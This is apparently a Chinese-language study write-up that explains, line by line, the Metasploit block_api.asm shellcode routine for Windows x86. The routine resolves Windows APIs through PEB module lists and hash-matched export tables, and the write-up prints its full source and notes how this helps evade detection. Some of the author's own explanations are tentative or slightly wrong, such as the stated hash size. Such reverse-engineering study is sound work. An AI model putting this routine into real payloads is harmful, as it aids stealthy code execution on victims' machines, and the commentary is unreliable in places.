分析windows X86的shellcode

MSF中用于windows x86平台的Shellcode模块

metasploit-framework/external/source/shellcode/windows/x86/src/block at master · rapid7/metasploit-framework · GitHub

调用任意API的汇编代码

metasploit-framework/external/source/shellcode/windows/x86/src/block/block_api.asm at master · rapid7/metasploit-framework · GitHub

反向tcp连接汇编代码

metasploit-framework/external/source/shellcode/windows/x86/src/block/block_reverse_tcp.asm at master · rapid7/metasploit-framework · GitHub

block_api

这段代码是用于调用任意API的汇编代码,它可以在不依赖于任何API的情况下,根据模块名和函数名的哈希值来查找和执行目标API。

在整个shellcode中,这段代码的作用是可以让攻击者在目标机器上执行任意的Windows API,从而实现更多的功能和操作。例如,攻击者可以使用这段代码来调用MessageBoxA函数,弹出一个消息框,或者调用ShellExecute函数,打开一个网页或一个文件。这段代码也可以避免使用LoadLibrary和GetProcAddress等常见的API,从而降低被检测的风险。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: NT4 and newer
; Architecture: x86
; Size: 140 bytes
;-----------------------------------------------------------------------------;

[BITS 32]

; Input: The hash of the API to call and all its parameters must be pushed onto stack.
; Output: The return value from the API call will be in EAX.
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.

api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor edx, edx ; Zero EDX
mov edx, [fs:edx+0x30] ; Get a pointer to the PEB
mov edx, [edx+0xc] ; Get PEB->Ldr
mov edx, [edx+0x14] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov esi, [edx+0x28] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+0x26] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror edi, 0xd ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
dec ecx
jnz loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov edx, [edx+0x10] ; Get this modules base address
mov eax, [edx+0x3c] ; Get PE header
add eax, edx ; Add the modules base address
mov eax, [eax+0x78] ; Get export tables RVA
test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT
mov ecx, [eax+0x18] ; Get the number of function names
mov ebx, [eax+0x20] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
test ecx, ecx ; Changed from jecxz to accomodate the larger offset produced by random jmps below
jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name
ror edi, 0xd ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+0x24] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+0x24] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+0x1c] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+0x24], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module

开头注释

Input: The hash of the API to call and all its parameters must be pushed onto stack.

这条注释的意思是,你需要在调用这个汇编代码之前,将你想要调用的API的哈希值和它的所有参数按照从右到左的顺序压入栈中。

Output: The return value from the API call will be in EAX.

这条注释的意思是,当这个汇编代码执行完毕后,它会将调用API的返回值存放在EAX寄存器中。

Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)

这条注释的意思是,这个汇编代码会破坏EAX,ECX和EDX这三个寄存器的原有值,这是符合stdcall调用约定的。

调用约定是一种规定了函数参数传递和返回值处理方式的约定,不同的调用约定有不同的规则。

stdcall调用约定是Windows API的标准调用约定,它规定了参数由右到左压入栈中,由被调用者清理栈空间,返回值在EAX中,而EAX,ECX和EDX三个寄存器可以被破坏。

Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.

这条注释的意思是,这个汇编代码不会破坏EBX,ESI,EDI,ESP和EBP这五个寄存器的原有值,它们可以被认为是保留不变的。这些寄存器通常被用来保存一些重要的数据或指针,所以在调用一个函数之前或之后,它们应该保持一致。如果一个函数需要破坏这些寄存器,它应该在函数开始时将它们压入栈中,并在函数结束时将它们弹出栈中。

Note: This function assumes the direction flag has allready been cleared via a CLD instruction.

这条注释的意思是,这个汇编代码假设方向标志位已经被清除了(通过执行一个CLD指令)。

方向标志位是一个控制字符串操作指令(如lodsb)方向的标志位,如果它被设置了(通过STD指令),那么字符串操作指令会从高地址向低地址移动;如果它被清除了(通过CLD指令),那么字符串操作指令会从低地址向高地址移动。这个汇编代码使用了lodsb指令来读取模块名和函数名中的每个字节,并计算它们的哈希值。所以它需要方向标志位被清除了,才能正确地读取字符串。

Note: This function is unable to call forwarded exports.

这条注释的意思是,这个汇编代码无法调用转发导出的API。

转发导出是一种导出表中的特殊条目,它不是指向一个真正的函数地址,而是指向另一个模块的另一个函数的名称

例如,kernel32.dll中的ExitProcess函数就是一个转发导出,它实际上是指向ntdll.dll中的RtlExitUserProcess函数。这个函数的作用是让你可以使用kernel32.dll中的函数名来调用ntdll.dll中的函数,从而简化你的代码。但是,这个汇编代码无法处理这种情况,因为它只根据哈希值来查找函数地址,而不会解析转发导出的字符串。所以,如果你想要调用转发导出的API,你需要先找到它真正所在的模块和函数名,然后计算它们的哈希值,再传递给这个汇编代码。

api_call

1
2
3
4
5
6
pushad                     ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor edx, edx ; Zero EDX
mov edx, [fs:edx+0x30] ; Get a pointer to the PEB
mov edx, [edx+0xc] ; Get PEB->Ldr
mov edx, [edx+0x14] ; Get the first module from the InMemoryOrder module list

**pushad **

把所有的通用寄存器的值压入栈中,以便在调用API后恢复。

mov ebp, esp

把栈顶指针赋值为栈底指针,相当于创建了一个新的栈帧

xor edx, edx

清理edx,方便存储PEB指针

mov edx, [fs:edx+0x30]

指令从FS段寄存器中读取PEB的地址,FS段寄存器是一个特殊的寄存器,它指向一个TEB结构(也称作TLS),该结构包含了一些与当前线程相关的信息,其中第0x30个字节就是PEB的地址。

PEB是一个包含了进程相关信息的结构体,例如模块列表。

有关TEB,PEB的学习,可以看以下文章:

从学习Windows PEB到Hell’s Gate-安全客 - 安全资讯平台

官方文档:

PEB (winternl.h) - Win32 apps | Microsoft Learn

TEB (winternl.h) - Win32 apps | Microsoft Learn

mov edx, [edx+0xc]

通过EDX寄存器和偏移量0xc访问PEB中的Ldr成员,将其存入EDX寄存器。Ldr是一个指向_PEB_LDR_DATA结构体的指针,该结构体包含了进程的已加载模块的信息。

mov edx, [edx+0x14]

通过EDX寄存器和偏移量0x14访问_PEB_LDR_DATA中的InMemoryOrderModuleList成员,将其存入EDX寄存器。InMemoryOrderModuleList是一个双向链表的头部(该头部位),链表中的每个节点都是一个指向_LDR_DATA_TABLE_ENTRY结构体的指针(节点类型是LIST_ENTRY),该结构体包含了已加载的模块的基址,入口点,全名等信息。

经过上述操作,EDX寄存器就指向了进程的第一个已加载模块(通常是ntdll.dll)在内存中的顺序链表中的节点(InMemoryOrderLinks)。接下来的代码可以通过遍历这个链表,找到目标模块(例如kernel32.dll)和目标函数(例如LoadLibraryA),然后调用它们。这种方法可以绕过导入表的检测,增加shellcode的隐蔽性和兼容性

next_mod

1
2
3
4
next_mod:                    ;
mov esi, [edx+0x28] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+0x26] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name

mov esi, [edx+0x28]

通过寄存器edx以及偏移量0x28访问LDR_DATA_TABLE_ENTRY的BaseDllName的Buffer,也就是用于存储模块名的缓冲区

这里有个及其坑的点,就是WIN10版本的SDK,这个结构体为了兼容性改变了一些参数的名称和形式,长这样

typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID Reserved3[2];
UNICODE_STRING FullDllName;
BYTE Reserved4[8];
PVOID Reserved5[3];

​ ……..

所以我以为找的是FullDllName,然后反复计算反复研究了几个小时得出结果偏移量是0x20(0x28-0x08),然后仔细看了下别的师傅的文章发现其实找的是BaseDllName属性。。。(相当于0x30-0x08=0x28)

movzx ecx, word [edx+0x26]

通过寄存器eax以及偏移量0x26获取模块名称的分配空间的总大小(MaximumLength)

为什么获取的是MaximumLength,而不是Length,可能是为了方便对齐???

movzx的zx是零扩展指令,这里为什么要扩展,原因和MaximumLength的数据类型有关

USHORT在头文件的定义是typedef unsigned short USHORT;,也就是说MaximumLength是一个无符号的短整数类型,能表示0-65535的数字,也就是0-2^16,所以是16位的数据类型

而ecx是一个32位的寄存器,所以需要用movzx来将16位的值扩展到32位,同时用0来填充高16位。这样做的目的是为了保证ecx的值是正确的,不会受到高16位的影响。如果不用movzx,而是用mov,那么ecx的高16位就会保留原来的值,可能会导致错误。

xor edi, edi

情况edi寄存器,edi在后面用于存储模块名的哈希值

经过上述操作,esi寄存器指向了模块名BaseDllName,ecx则指向了模块名的长度

loop_modname

1
2
3
4
5
6
loop_modname:                ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase

xor eax, eax

清零eax,为下面存放字节内容做准备

lodsb

读入esi寄存器指向的地址的内容,长度为一个字节,结果存放在AL寄存器,也就是EAX的低8位(1个字节)

指令执行后esi寄存器会自动加1

如图所示,eax存储了程序第一个加载的模块名的第一个字节的内容,这里是P,可能是因为Visual Studio的运行环境决定了第一个模块名并不是ntdll而是程序名

随后esi向后移动了1个字节

cmp al,’a’

某些版本的Windows系统使用小写模块名。因此,代码会检查当前字符的ASCII码是否小于 ‘a’,如果是,则跳转到 ‘not_lowercase’ 标签处的代码,否则,将当前字符减去0x20,这实际上是将其转换为大写(ASCII中,大写字母比对应的小写字母小0x20)。

loop_modname函数的作用就是读取当前esi指向的模块名的某个字符,并将小写字母转换为大写

not_lowercase

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ror edi, 0xd               ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
dec ecx
jnz loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov edx, [edx+0x10] ; Get this modules base address
mov eax, [edx+0x3c] ; Get PE header
add eax, edx ; Add the modules base address
mov eax, [eax+0x78] ; Get export tables RVA
test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT
mov ecx, [eax+0x18] ; Get the number of function names
mov ebx, [eax+0x20] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
; Computing the module hash + function hash

**ror edi, 0xd **

将edi的值以二进制的形式向右平移13位

一个简单的哈希算法

add edi, eax

将eax(实际上是al)的值存入edi,也就是把当前遍历的模块名的字符存入edi寄存器

因为edi寄存器在next_mod函数中已经清零过,所以在0x000000上加一个值就相当于mov

dec ecx

ecx自减1,因为ecx存储的是当前BaseDllName的长度,而在上一步已经存入了一个字符,所以长度要减去1

jnz loop_modname

当ecx减到0时,ZF标志位会变为1;反之,当ecx自减后不为0时,ZF标志位会变为0;

所以这个汇编指令的意思就是,当ZF标志位不为0,即ecx自减1后不为0的话,说明模块名还没有遍历完,那么就回到loop_modname函数,继续向edi里添加后续模块名字符

这里有个疑问,就是如果某个模块名长度大于8个字节,那么该如何存储,毕竟edi只有32位,即使X64的rdi也只能存16个字节

事后看了下一行的作者注释想明白了

; We now have the module hash computed

意思就是,edi里存储的是模块名的哈希值,这个哈希值有8个字节,并且计算方式就是ror edi, 0xd

push edx

将edx的值保存在栈中,以便后续调用

edx的值目前是当前模块列表(InMemoryOrderModuleList)的指针,指向下一个Flink

push edi

将edi的值保存在栈中,以便后续调用

edi的值目前是模块名的哈希值

mov edx, [edx+0x10]

将edx指向_LDR_DATA_TABLE_ENTRY_结构体的的DllBase,也就是该模块的基址

在上面已经说了,VS给我加载的第一个模块就是被调试程序本身,所以指向的就是该程序的imageBase(禁用ASLR)

mov eax, [edx+0x3c]

获取PE标志的偏移量,即NtHeader的偏移量(AddressOfNewExeHeader)

add eax, edx

将eax(基址)与edx(偏移量)的值相加,获取NT头的实际地址

mov eax, [eax+0x78]

将该模块的导出表的RVA存入eax

test eax, eax

test是操作数的每一位按逻辑与运算,这里是检测eax是否为全0,即上一步的导出表RVA是否为空,说明导入表不存在

jz get_next_mod1

该模块导入表为空,直接转入下一个模块

add eax, edx

push eax

获取导出表EAT的实际地址(RVA+imageBase),并保存入栈

mov ecx, [eax+0x18]

mov ebx, [eax+0x20]

获取以名称方式导出的函数的总数NumberOfNames以及存储了有名称导出函数RVA的AddressOfNames的RVA

导出表EAT的数据结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics; //0x00
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames; //0x18
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
  • NumberOfFunctions表示导出表中导出函数的总数,也就是AddressOfFunctions数组的长度。AddressOfFunctions数组存放了每个导出函数的相对虚拟地址(RVA),可以通过这个地址找到函数在内存中的位置。
  • NumberOfNames表示导出表中有名称的导出函数的个数,也就是AddressOfNames和AddressOfNameOrdinals数组的长度。AddressOfNames数组存放了每个有名称的导出函数的名称字符串的RVA,可以通过这个地址找到函数名在内存中的位置。AddressOfNameOrdinals数组存放了每个有名称的导出函数在AddressOfFunctions数组中的索引,可以通过这个索引找到对应的函数地址。

这两个字段的值可能不相等,因为有些导出函数可能没有名称,只能通过序号来访问。

此时,各寄存器状态如下

eax:导出表EAT的实际地址(RVA+ImageBase)

ebx:AddressOfNames(有名称的导出函数表)的RVA

ecx:NumberOfNames(有名称的导出函数的数量)

edx:当前模块基址

add ebx, edx

将AddressOfNames(有名称的导出函数表)加上基址的实际地址存入ebx

经过上述操作,就完成了整个not_lowercase函数的操作,该函数可以主要划分为两个部分

第一部分:

  1. 先挨个读取当前模块名,并同时进行简单移位操作的哈希运算,将最后的结果入栈保存
  2. 将指向当前模块的指针和模块名哈希结果入栈保存

第二部分:

  1. 找到当前模块的基址
  2. 获取导出表EAT的RVA
  3. 将基址与RVA相加,获取EAT的实际地址
  4. 获取导出表结构体里的有名导出函数的个数(NumberOfNames),以及有名导出函数数组AddressOfNames的RVA
  5. 将基址与RVA相加, 获取AddressOfNames的实际地址

get_next_func

1
2
3
4
5
6
7
8
get_next_func:               ;
test ecx, ecx ; Changed from jecxz to accomodate the larger offset produced by random jmps ; ;below
jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next ;module
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want

test ecx, ecx

jz get_next_mod

ecx寄存器存储的NumberOfNames的值,自身与运算后如果全为0,则说明NumberOfNames为0,即该模块没有有名导出函数,直接跳转到下一个模块

这里猜测可能无法利用序号来使用导出函数,所以必须使用有名导出函数?

dec ecx

NumberOfNames减1,因为正在获取一个导出函数

mov esi, [ebx+ecx*4]

add esi, edx

这里目前没明白啥意思,官方给出的注释是Get rva of next module name,但是我们都知道,[ebx+ecx*4]表示的是AddressOfNames这个数组最后一个成员,指向的RVA是一个导出函数的名字,这里为什么要用module???

xor edi, edi

将edi清零

get_next_func函数的作用就是获取当前模块的有名导出函数(从最后一个开始)的实际地址

loop_funcname

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
loop_funcname:               ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name
ror edi, 0xd ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+0x24] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+0x24] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+0x1c] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...

xor eax,eax

lodsb

将eax清零,然后将esi指向的地址的内容读入al,即把AddressOfNames数组的当前元素指向的函数名rva读入到eax的前2个字节(8位)

Read in the next byte of the ASCII function name

这里的注释也佐证了我上面的推测,编写这个代码的人是不是把next function name 错写成了 next module name

ror edi, 0xd

将当前已读入的函数名做一个同样的移位哈希

add edi, eax

将当前eax中的函数名字符加到edi寄存器中

cmp al, ah

jne loop_funcname

将eax的低8位(al)与高8位(ah)比较,因为eax的高8位一直为0x00,即null结束符,所以如果al也为0,则说明读到了字符串的结束符,结束循环,否则继续回到开始读后面的字节

add edi, [ebp-8]

[ebp-8]存储的是当前模块的哈希,这里相当于为函数名加个模块的盐,可以理解为hash(func+module),进一步保证唯一性

cmp edi, [ebp+0x24]

把当前遍历的函数哈希与需要的函数哈希做对比,来判断是否找到了所需的函数

[ebp+0x24]这个地址有什么特殊意义目前想不到,可能开发者是在别的block中提前把需要的函数哈希计算好放在了这个位置????

[ebp+0x20]是旧eax的状态,那么再加0x4就是处于旧eax之前的地址,这个地址的状态无法知晓,所以我猜测这是开发者可能在之前规定好的存放需要search的函数哈希

jnz get_next_func

如果不是我们要找的函数,就跳过后面的流程,跳到当前模块的下一个导出函数

pop eax

将当前模块的导出表EAT的实际地址出栈,并保存在eax中

mov ebx, [eax+0x24]

add ebx, edx

获取AddressOfNameOrdinals的实际地址

*mov cx, [ebx+2ecx] **

AddressOfNameOrdinals数组的每一项为WORD,这里就是获取当前有名导出函数在AddressOfFunctions中的序号

mov ebx, [eax+0x1c]

add ebx, edx

获取AddressOfFunctions的实际地址

mov eax, [ebx+4*ecx]

add eax, edx

AddressOfFunctions中获取当前导出函数的RVA,然后加上基址,得到当前导出函数的实际地址

总结一下loop_funcname函数的流程

  1. 获取当前遍历的导出函数名
  2. 为了保证唯一性,将该函数名与模块做哈希运算
  3. 将(2)中获取到的哈希结果与我们正在寻找的函数名哈希做对比,如果相同,则继续下面的步骤,否则直接遍历下一个导出函数
  4. 通过AddressOfNameOrdinals找出当前导出函数的序号,然后在AddressOfFunctions中找到该导出函数的RVA
  5. 将(4)中的结果与基址相加,得到我们想要的导出函数的实际地址

finish

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
finish:
mov [esp+0x24], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module

终于到结尾,真不容易。:)

mov [esp+0x24], eax

将所需的导出函数的实际地址放入旧eax中,即 [esp+0x24]

pop ebx

pop ebx

清空记录module位置和记录模块哈希的栈帧,以免影响下一步的寄存器状态还原

popad

对应第1步PUSHAD指令的逆操作,用于恢复CPU的环境变量

POPAD指令按照与PUSHAD相反的顺序依次弹出寄存器的值。顺序为

EDI,ESI,EBP,ESP,EBX,EDX,ECX,EAX.

执行完这一步后,所有的寄存器状态都回归于执行这个汇编程序之前的状态,除了eax存储的仍然是导出函数的实际地址

pop ecx

pop edx

没看懂,因为旧栈帧的具体情况我们从这上下文中无法获知,所以从旧栈帧中出栈的元素也无法获知是什么

push ecx

把旧栈帧的第一个元素入栈,仍然没看懂

jmp eax

jmp到我们找到的那个函数地址然后开始执行

get_next_mod

1
2
get_next_mod:                ;
pop eax ; Pop off the current (now the previous) modules EAT

这里衔接的是get_next_func中对应的没有有名导出函数时的情况,就把栈中刚push的导出表EAT的实际地址再pop出去

get_next_mod1

1
2
3
4
5
get_next_mod1:               ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module

这里衔接的是not_lowercase中对应的当前模块没有导出表时的情况,将当前模块的哈希和位置出栈。

mov edx, [edx]

获取下一个模块module的位置

此前edx为_LIST_ENTRY中的*Flink,Flink中存储的是下一个Flink的地址,相当于指向了下一个模块的地址

jmp next_mod

跳转到 next_mod,开始下一个模块的循环

流程图概述